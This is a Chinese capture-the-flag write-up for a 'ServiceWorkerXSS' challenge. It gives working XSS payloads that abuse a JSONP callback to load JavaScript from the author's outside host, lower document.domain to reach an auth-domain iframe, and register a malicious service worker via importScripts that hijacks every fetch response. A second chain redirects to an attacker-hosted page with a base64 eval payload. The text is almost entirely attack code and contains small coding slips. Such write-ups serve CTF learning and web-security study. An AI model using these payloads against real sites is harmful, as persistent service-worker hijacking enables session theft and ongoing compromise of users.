西湖论剑ServiceWorkerXSS-wp
西湖论剑ServiceWorkerXSS-Wp
三个域名及其功能:
- auth.xss.com:存放cookie,登陆请求
auth.xss.com/?username=xx&passwd=xx
。存在jsonpauth.xss.com/api/loginStatus?callback=
- xss.xss.com :存在回调xss,可直接引入外部js
xss.xss.com/login?callback=jsonp(%22https://hpdoger.cn/xss.js%22);
- 主域名:啥都没有
目标:横向拓展XSS,用xss.xss.com去劫持auth.xss.com页面,即rookit
思路-1
step1、在xss.xss.com引入外源JS文件
document.domain = "xss.eec5b2.challenge.gcsis.cn";
var frame = document.createElement('iframe');
frame.src = 'https://auth.xss.eec5b2.challenge.gcsis.cn/';
frame.addEventListener("load", function(){auth();});
frame.name = 'authpage'
document.body.appendChild(iff);
exp = `navigator.serviceWorker.register("/api/loginStatus?callback=importScripts('//hpdoger.cn/sw.js')//")`;
function auth(){
authpage.eval(exp);
}
step2、由于auth.xss.eec5b2.challenge.gcsis.cn
的index.html进行了降域操作,因此在step1也将xxs.xss.eec5b2.challenge.gcsis.cn
降到主域名,此时iframe(auth.xss.eec5b2.challenge.gcsis.cn)和父页面(xxs.xss.eec5b2.challenge.gcsis.cn)同域,可操作相关dom。
step3、注册sw服务,拦截fetch请求进行强缓存,相关看:https://xz.aliyun.com/t/3228#toc-9
self.addEventListener('install', function(event) {
console.log('install ok!');
});
self.addEventListener('fetch', function (event) {
console.log(event.request);
event.respondWith(
caches.match(event.request).then(function(res){
return requestBackend(event);
})
)
});
function requestBackend(event){
var url = event.request.clone();
console.log(url);
return new Response("<script>alert(location.search);</script>", {headers: { 'Content-Type': 'text/html' }})
}
4、本地测试劫持:https://xss.xss.eec5b2.challenge.gcsis.cn/login?callback=jsonp(%22//hpdoger.cn/xss.js%22);
思路二
没有思路一方便。如果没想到用callback引入外部js,还是可以通过跳转到第三方实现的,具体的payload如下,转义的bug需要自己调一下
step1、https://xss.xss.eec5b2.challenge.gcsis.cn/login?callback=location%253d%27https://hpdoger.cn/xss.html'///
step2、hpdoger.cn/xss.html
<html>
<script>
var frame1 = document.createElement("iframe");
frame1.src = "https://xss.xss.eec5b2.challenge.gcsis.cn/login?callback=eval(name);//";
exp=btoa(`navigator.serviceWorker.register("/api/loginStatus?callback=importScripts("//hpdoger.cn/sw.js")")//`)
frame1.name = `document.domain="xss.eec5b2.challenge.gcsis.cn";frame2=document.createElement("iframe");frame2.src ="https://auth.xss.eec5b2.challenge.gcsis.cn";document.body.appendChild(frame2);frame2.contentWindow.eval(atob(${exp}));`;
document.body.appendChild(frame1);
</script>
</html>
final conclusion:navigator.serviceWorker.register能直接调用importScripts,不看自己文章把脸打肿.jpg